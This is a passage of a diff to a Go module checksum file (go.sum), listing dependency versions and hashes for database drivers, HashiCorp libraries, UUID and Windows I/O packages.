github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
|
||||
github.com/form3tech-oss/jwt-go v3.2.2+incompatible/go.mod h1:pbq4aXjuKjdthFRnoDwaVPLA+WlJuPGy+QneDUgJi2k=
|
||||
@@ -301,8 +299,10 @@ github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2
|
||||
github.com/go-ini/ini v1.25.4/go.mod h1:ByCAeIL28uOIIG0E3PJtZPDL8WnHpFKFOtgjp+3Ies8=
|
||||
github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
|
||||
github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
|
||||
github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY=
|
||||
github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=
|
||||
github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
|
||||
github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A=
|
||||
github.com/go-logr/logr v0.1.0/go.mod h1:ixOQHD9gLJUVQQ2ZOR7zLEifBX6tGkNJF4QyIY7sIas=
|
||||
github.com/go-logr/logr v0.2.0/go.mod h1:z6/tIYblkpsD+a4lm/fGIIU9mZ+XfAiaFtq7xTgseGU=
|
||||
github.com/go-ole/go-ole v1.2.5/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
|
||||
@@ -319,17 +319,23 @@ github.com/go-openapi/spec v0.19.0/go.mod h1:XkF/MOi14NmjsfZ8VtAKf8pIlbZzyoTvZsd
|
||||
github.com/go-openapi/swag v0.0.0-20160704191624-1d0bd113de87/go.mod h1:DXUve3Dpr1UfpPtxFw+EFuQ41HhCWZfha5jSVRG7C7I=
|
||||
github.com/go-openapi/swag v0.17.0/go.mod h1:AByQ+nYG6gQg71GINrmuDXCPWdL640yX49/kXLo40Tg=
|
||||
github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk=
|
||||
github.com/go-sql-driver/mysql v1.5.0 h1:ozyZYNQW3x3HtqT1jira07DN2PArx2v7/mN66gGcHOs=
|
||||
github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
|
||||
github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE=
|
||||
github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
|
||||
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
|
||||
github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
|
||||
github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=
|
||||
github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
|
||||
github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
|
||||
github.com/gobwas/ws v1.1.0 h1:7RFti/xnNkMJnrK7D1yQ/iCIB5OrrY/54/H930kIbHA=
|
||||
github.com/gobwas/ws v1.1.0/go.mod h1:nzvNcVha5eUziGrbxFCo6qFIojQHjJV5cLYIbezhfL0=
|
||||
github.com/godbus/dbus v0.0.0-20151105175453-c7fdd8b5cd55/go.mod h1:/YcGZj5zSblfDWMMoOzV4fas9FZnQYTkDnsGvmh2Grw=
|
||||
github.com/godbus/dbus v0.0.0-20180201030542-885f9cc04c9c/go.mod h1:/YcGZj5zSblfDWMMoOzV4fas9FZnQYTkDnsGvmh2Grw=
|
||||
github.com/godbus/dbus v0.0.0-20190422162347-ade71ed3457e/go.mod h1:bBOAhwG1umN6/6ZUMtDFBMQR8jRg9O75tm9K00oMsK4=
|
||||
github.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
|
||||
github.com/gofrs/flock v0.8.0/go.mod h1:F1TvTiK9OcQqauNUHlbJvyl9Qa1QvF/gOUDKA14jxHU=
|
||||
github.com/gofrs/uuid v3.2.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gofrs/uuid v3.3.0+incompatible h1:8K4tyRfvU1CYPgJsveYFQMhpFd/wXNM7iK6rR7UHz84=
|
||||
github.com/gofrs/uuid v3.3.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gofrs/uuid v4.3.0+incompatible h1:CaSVZxm5B+7o45rtab4jC2G37WGYX1zQfuU2i6DSvnc=
|
||||
github.com/gofrs/uuid v4.3.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gogo/googleapis v1.2.0/go.mod h1:Njal3psf3qN6dwBtQfUmBZh2ybovJ0tlu3o/AC7HYjU=
|
||||
github.com/gogo/googleapis v1.4.1/go.mod h1:2lpHqI5OcWCtVElxXnPt+s8oJvMpySlOyM6xDCrzib4=
|
||||
github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
|
||||
@@ -438,34 +444,20 @@ github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgf
|
||||
github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
|
||||
github.com/grpc-ecosystem/grpc-gateway v1.9.5/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
|
||||
github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw=
|
||||
github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q=
|
||||
github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8=
|
||||
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
|
||||
github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I=
|
||||
github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
|
||||
github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=
|
||||
github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60=
|
||||
github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM=
|
||||
github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk=
|
||||
github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA=
|
||||
github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo=
|
||||
github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM=
|
||||
github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU=
|
||||
github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU=
|
||||
github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4=
|
||||
github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
|
||||
github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
|
||||
github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90=
|
||||
github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
|
||||
github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
|
||||
github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
|
||||
github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64=
|
||||
github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ=
|
||||
github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I=
|
||||
github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc=
|
||||
github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
|
||||
github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c h1:kp3AxgXgDOmIJFR7bIwqFhwJ2qWar8tEQSE5XXhCfVk=
|
||||
github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
|
||||
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec h1:qv2VnGeEQHchGaZ/u7lxST/RaJw+cv273q79D81Xbog=
|
||||
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec/go.mod h1:Q48J4R4DvxnHolD5P8pOtXigYlRuPLGl6moFx3ulM68=
|
||||
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
|
||||
github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
|
||||
github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
|
||||
@@ -475,7 +467,6 @@ github.com/imdario/mergo v0.3.9/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJ
|
||||
github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM=
|
||||
github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
|
||||
github.com/j-keck/arping v0.0.0-20160618110441-2cf9dc699c56/go.mod h1:ymszkNOg6tORTn+6F6j+Jc8TOr5osrynvN6ivFWZ2GA=
|
||||
github.com/jackc/chunkreader v1.0.0 h1:4s39bBR8ByfqH+DKm8rQA3E1LHZWB9XWcrz8fqaZbe0=
|
||||
github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo=
|
||||
github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk=
|
||||
github.com/jackc/chunkreader/v2 v2.0.1 h1:i+RDz65UE+mmpjTfyz0MoVTnzeYxroil2G82ki7MGG8=
|
||||
@@ -483,60 +474,63 @@ github.com/jackc/chunkreader/v2 v2.0.1/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgO
|
||||
github.com/jackc/pgconn v0.0.0-20190420214824-7e0022ef6ba3/go.mod h1:jkELnwuX+w9qN5YIfX0fl88Ehu4XC3keFuOJJk9pcnA=
|
||||
github.com/jackc/pgconn v0.0.0-20190824142844-760dd75542eb/go.mod h1:lLjNuW/+OfW9/pnVKPazfWOgNfH2aPem8YQ7ilXGvJE=
|
||||
github.com/jackc/pgconn v0.0.0-20190831204454-2fabfa3c18b7/go.mod h1:ZJKsE/KZfsUgOEh9hBm+xYTstcNHg7UPMVJqRfQxq4s=
|
||||
github.com/jackc/pgconn v1.4.0/go.mod h1:Y2O3ZDF0q4mMacyWV3AstPJpeHXWGEetiFttmq5lahk=
|
||||
github.com/jackc/pgconn v1.5.0/go.mod h1:QeD3lBfpTFe8WUnPZWN5KY/mB8FGMIYRdd8P8Jr0fAI=
|
||||
github.com/jackc/pgconn v1.5.1-0.20200601181101-fa742c524853/go.mod h1:QeD3lBfpTFe8WUnPZWN5KY/mB8FGMIYRdd8P8Jr0fAI=
|
||||
github.com/jackc/pgconn v1.7.0 h1:pwjzcYyfmz/HQOQlENvG1OcDqauTGaqlVahq934F0/U=
|
||||
github.com/jackc/pgconn v1.7.0/go.mod h1:sF/lPpNEMEOp+IYhyQGdAvrG20gWf6A1tKlr0v7JMeA=
|
||||
github.com/jackc/pgconn v1.8.0/go.mod h1:1C2Pb36bGIP9QHGBYCjnyhqu7Rv3sGshaQUvmfGIB/o=
|
||||
github.com/jackc/pgconn v1.9.0/go.mod h1:YctiPyvzfU11JFxoXokUOOKQXQmDMoJL9vJzHH8/2JY=
|
||||
github.com/jackc/pgconn v1.9.1-0.20210724152538-d89c8390a530/go.mod h1:4z2w8XhRbP1hYxkpTuBjTS3ne3J48K83+u0zoyvg2pI=
|
||||
github.com/jackc/pgconn v1.12.1/go.mod h1:ZkhRC59Llhrq3oSfrikvwQ5NaxYExr6twkdkMLaKono=
|
||||
github.com/jackc/pgconn v1.13.0 h1:3L1XMNV2Zvca/8BYhzcRFS70Lr0WlDg16Di6SFGAbys=
|
||||
github.com/jackc/pgconn v1.13.0/go.mod h1:AnowpAqO4CMIIJNZl2VJp+KrkAZciAkhEl0W0JIobpI=
|
||||
github.com/jackc/pgio v1.0.0 h1:g12B9UwVnzGhueNavwioyEEpAmqMe1E/BN9ES+8ovkE=
|
||||
github.com/jackc/pgio v1.0.0/go.mod h1:oP+2QK2wFfUWgr+gxjoBH9KGBb31Eio69xUb0w5bYf8=
|
||||
github.com/jackc/pgmock v0.0.0-20190831213851-13a1b77aafa2 h1:JVX6jT/XfzNqIjye4717ITLaNwV9mWbJx0dLCpcRzdA=
|
||||
github.com/jackc/pgmock v0.0.0-20190831213851-13a1b77aafa2/go.mod h1:fGZlG77KXmcq05nJLRkk0+p82V8B8Dw8KN2/V9c/OAE=
|
||||
github.com/jackc/pgmock v0.0.0-20201204152224-4fe30f7445fd/go.mod h1:hrBW0Enj2AZTNpt/7Y5rr2xe/9Mn757Wtb2xeBzPv2c=
|
||||
github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65 h1:DadwsjnMwFjfWc9y5Wi/+Zz7xoE5ALHsRQlOctkOiHc=
|
||||
github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65/go.mod h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak=
|
||||
github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM=
|
||||
github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
|
||||
github.com/jackc/pgproto3 v1.1.0 h1:FYYE4yRw+AgI8wXIinMlNjBbp/UitDJwfj5LqqewP1A=
|
||||
github.com/jackc/pgproto3 v1.1.0/go.mod h1:eR5FA3leWg7p9aeAqi37XOTgTIbkABlvcPB3E5rlc78=
|
||||
github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190420180111-c116219b62db/go.mod h1:bhq50y+xrl9n5mRYyCBFKkpRVTLYJVWeCc+mEAI3yXA=
|
||||
github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190609003834-432c2951c711/go.mod h1:uH0AWtUmuShn0bcesswc4aBTWGvw0cAxIJp+6OB//Wg=
|
||||
github.com/jackc/pgproto3/v2 v2.0.0-rc3/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM=
|
||||
github.com/jackc/pgproto3/v2 v2.0.0-rc3.0.20190831210041-4c03ce451f29/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM=
|
||||
github.com/jackc/pgproto3/v2 v2.0.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
|
||||
github.com/jackc/pgproto3/v2 v2.0.5 h1:NUbEWPmCQZbMmYlTjVoNPhc0CfnYyz2bfUAh6A5ZVJM=
|
||||
github.com/jackc/pgproto3/v2 v2.0.5/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
|
||||
github.com/jackc/pgservicefile v0.0.0-20200307190119-3430c5407db8/go.mod h1:vsD4gTJCa9TptPL8sPkXrLZ+hDuNrZCnj29CQpr4X1E=
|
||||
github.com/jackc/pgproto3/v2 v2.0.6/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
|
||||
github.com/jackc/pgproto3/v2 v2.1.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
|
||||
github.com/jackc/pgproto3/v2 v2.3.0/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
|
||||
github.com/jackc/pgproto3/v2 v2.3.1 h1:nwj7qwf0S+Q7ISFfBndqeLwSwxs+4DPsbRFjECT1Y4Y=
|
||||
github.com/jackc/pgproto3/v2 v2.3.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
|
||||
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b h1:C8S2+VttkHFdOOCXJe+YGfa4vHYwlt4Zx+IVXQ97jYg=
|
||||
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b/go.mod h1:vsD4gTJCa9TptPL8sPkXrLZ+hDuNrZCnj29CQpr4X1E=
|
||||
github.com/jackc/pgtype v0.0.0-20190421001408-4ed0de4755e0/go.mod h1:hdSHsc1V01CGwFsrv11mJRHWJ6aifDLfdV3aVjFF0zg=
|
||||
github.com/jackc/pgtype v0.0.0-20190824184912-ab885b375b90/go.mod h1:KcahbBH1nCMSo2DXpzsoWOAfFkdEtEJpPbVLq8eE+mc=
|
||||
github.com/jackc/pgtype v0.0.0-20190828014616-a8802b16cc59/go.mod h1:MWlu30kVJrUS8lot6TQqcg7mtthZ9T0EoIBFiJcmcyw=
|
||||
github.com/jackc/pgtype v1.2.0/go.mod h1:5m2OfMh1wTK7x+Fk952IDmI4nw3nPrvtQdM0ZT4WpC0=
|
||||
github.com/jackc/pgtype v1.3.1-0.20200510190516-8cd94a14c75a/go.mod h1:vaogEUkALtxZMCH411K+tKzNpwzCKU+AnPzBKZ+I+Po=
|
||||
github.com/jackc/pgtype v1.3.1-0.20200606141011-f6355165a91c/go.mod h1:cvk9Bgu/VzJ9/lxTO5R5sf80p0DiucVtN7ZxvaC4GmQ=
|
||||
github.com/jackc/pgtype v1.5.0 h1:jzBqRk2HFG2CV4AIwgCI2PwTgm6UUoCAK2ofHHRirtc=
|
||||
github.com/jackc/pgtype v1.5.0/go.mod h1:JCULISAZBFGrHaOXIIFiyfzW5VY0GRitRr8NeJsrdig=
|
||||
github.com/jackc/pgtype v1.8.1-0.20210724151600-32e20a603178/go.mod h1:C516IlIV9NKqfsMCXTdChteoXmwgUceqaLfjg2e3NlM=
|
||||
github.com/jackc/pgtype v1.11.0/go.mod h1:LUMuVrfsFfdKGLw+AFFVv6KtHOFMwRgDDzBt76IqCA4=
|
||||
github.com/jackc/pgtype v1.12.0 h1:Dlq8Qvcch7kiehm8wPGIW0W3KsCCHJnRacKW0UM8n5w=
|
||||
github.com/jackc/pgtype v1.12.0/go.mod h1:LUMuVrfsFfdKGLw+AFFVv6KtHOFMwRgDDzBt76IqCA4=
|
||||
github.com/jackc/pgx/v4 v4.0.0-20190420224344-cc3461e65d96/go.mod h1:mdxmSJJuR08CZQyj1PVQBHy9XOp5p8/SHH6a0psbY9Y=
|
||||
github.com/jackc/pgx/v4 v4.0.0-20190421002000-1b8f0016e912/go.mod h1:no/Y67Jkk/9WuGR0JG/JseM9irFbnEPbuWV2EELPNuM=
|
||||
github.com/jackc/pgx/v4 v4.0.0-pre1.0.20190824185557-6972a5742186/go.mod h1:X+GQnOEnf1dqHGpw7JmHqHc1NxDoalibchSk9/RWuDc=
|
||||
github.com/jackc/pgx/v4 v4.5.0/go.mod h1:EpAKPLdnTorwmPUUsqrPxy5fphV18j9q3wrfRXgo+kA=
|
||||
github.com/jackc/pgx/v4 v4.6.1-0.20200510190926-94ba730bb1e9/go.mod h1:t3/cdRQl6fOLDxqtlyhe9UWgfIi9R8+8v8GKV5TRA/o=
|
||||
github.com/jackc/pgx/v4 v4.6.1-0.20200606145419-4e5062306904/go.mod h1:ZDaNWkt9sW1JMiNn0kdYBaLelIhw7Pg4qd+Vk6tw7Hg=
|
||||
github.com/jackc/pgx/v4 v4.9.0 h1:6STjDqppM2ROy5p1wNDcsC7zJTjSHeuCsguZmXyzx7c=
|
||||
github.com/jackc/pgx/v4 v4.9.0/go.mod h1:MNGWmViCgqbZck9ujOOBN63gK9XVGILXWCvKLGKmnms=
|
||||
github.com/jackc/pgx/v4 v4.12.1-0.20210724153913-640aa07df17c/go.mod h1:1QD0+tgSXP7iUjYm9C1NxKhny7lq6ee99u/z+IHFcgs=
|
||||
github.com/jackc/pgx/v4 v4.16.1/go.mod h1:SIhx0D5hoADaiXZVyv+3gSm3LCIIINTVO0PficsvWGQ=
|
||||
github.com/jackc/pgx/v4 v4.17.2 h1:0Ut0rpeKwvIVbMQ1KbMBU4h6wxehBI535LK6Flheh8E=
|
||||
github.com/jackc/pgx/v4 v4.17.2/go.mod h1:lcxIZN44yMIrWI78a5CpucdD14hX0SBDbNRvjDBItsw=
|
||||
github.com/jackc/puddle v0.0.0-20190413234325-e4ced69a3a2b/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v1.1.0/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v1.1.1/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v1.1.2/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v1.1.3/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v1.2.1/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v1.3.0/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jedib0t/go-pretty/v6 v6.2.4 h1:wdaj2KHD2W+mz8JgJ/Q6L/T5dB7kyqEFI16eLq7GEmk=
|
||||
github.com/jedib0t/go-pretty/v6 v6.2.4/go.mod h1:+nE9fyyHGil+PuISTCrp7avEdo6bqoMwqZnuiK2r2a0=
|
||||
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
github.com/jinzhu/now v1.1.1/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
github.com/jinzhu/now v1.1.2 h1:eVKgfIdy9b6zbWBMgFpfDPoAMifwSZagU9HmEU6zgiI=
|
||||
github.com/jinzhu/now v1.1.2/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
github.com/jinzhu/now v1.1.4/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ=
|
||||
github.com/jinzhu/now v1.1.5/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
github.com/jmespath/go-jmespath v0.0.0-20160202185014-0b12d6b521d8/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
|
||||
github.com/jmespath/go-jmespath v0.0.0-20160803190731-bd40a432e4c7/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
|
||||
github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
|
||||
github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY=
|
||||
github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y=
|
||||
github.com/josharian/native v1.0.0/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w=
|
||||
github.com/json-iterator/go v0.0.0-20180612202835-f2b4162afba3/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
|
||||
github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
|
||||
@@ -565,10 +559,10 @@ github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfn
|
||||
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/pty v1.1.4-0.20190131011033-7dc38fb350b1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/pty v1.1.4/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/pty v1.1.8 h1:AkaSdXYQOWeaO3neb8EM634ahkXXe3jYbVh/F9lq+GI=
|
||||
github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=
|
||||
github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
|
||||
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
|
||||
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo=
|
||||
github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA=
|
||||
github.com/lesnuages/go-winio v0.4.19/go.mod h1:rm7jf4kBcldxMeljR7c7XY1qVCBc+8z3PtSgkrT9Clk=
|
||||
